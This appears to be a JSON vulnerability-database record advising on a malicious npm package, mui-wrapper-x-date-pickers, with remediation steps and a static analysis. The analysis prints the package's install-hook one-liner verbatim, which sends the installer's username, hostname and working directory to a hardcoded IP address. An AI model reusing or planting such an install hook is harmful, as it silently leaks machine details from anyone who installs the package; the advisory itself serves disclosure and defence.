{"answers":{"affected":"1 open source package ship an affected version, including mui-wrapper-x-date-pickers.","exploited":"There is no known exploitation of MAL-2026-18369 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-18369 is a malicious package in mui-wrapper-x-date-pickers, published on 29 Oct 2026."},"fix_prompt":"MAL-2026-18369 is a malicious package: mui-wrapper-x-date-pickers (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-18369/ (Markdown: https://insights.sbomify.com/MAL-2026-18369/index.md)","id":"MAL-2026-18369","markdown":"https://insights.sbomify.com/MAL-2026-18369/index.md","name":"MAL-2026-18369","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"mui-wrapper-x-date-pickers was published to npm on 2026-10-27 from 06:55:20 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 10.0.0 is the latest version at the time of this report.\n\npackage.json declares a preinstall and a postinstall script, which npm runs on every install:\n\nnode -e \"require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'\u0026h='+encodeURIComponent(require('os').hostname())+'\u0026p='+encodeURIComponent(process.cwd())).on('error',()=\u003e{})\"\n\nThe postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.\n\nTarball sha256:\n1.0.0: 32199161095f611bcc41a9d7ae4cbc2abde7b8f697f7decde2152723bd05bff9\n10.0.0: b6b650ae811c65b52766a046a10622f638691406f2da8fa180d785d1ef1bdb81\n\nAnalysis was static only; nothing was executed.\n\nOn npm install, the package's preinstall and postinstall lifecycle scripts issue plaintext HTTP GET requests to the hardcoded bare-IP endpoint http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/{preinstall,postinstall}, carrying the installer's OS username (process.env.USER / process.env.USERNAME), hostname (os.hostname()), and current working directory (process.cwd()) as query parameters. The package name follows a dependency-confusion lure pattern (mui-wrapper-x-date-pickers resembles the @mui/x-date-pickers family), and resolution of this public name causes automatic, unauthenticated host-identity disclosure to a bare-IP endpoint with no documented operator. No TLS, no opt-in, no caller configuration.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in mui-wrapper-x-date-pickers (npm)","id":"MAL-2026-18369","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"mui-wrapper-x-date-pickers","purl":"pkg:npm/mui-wrapper-x-date-pickers","source":"MAL-2026-18369"}],"products":null,"published":"2026-10-29","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-18369/"}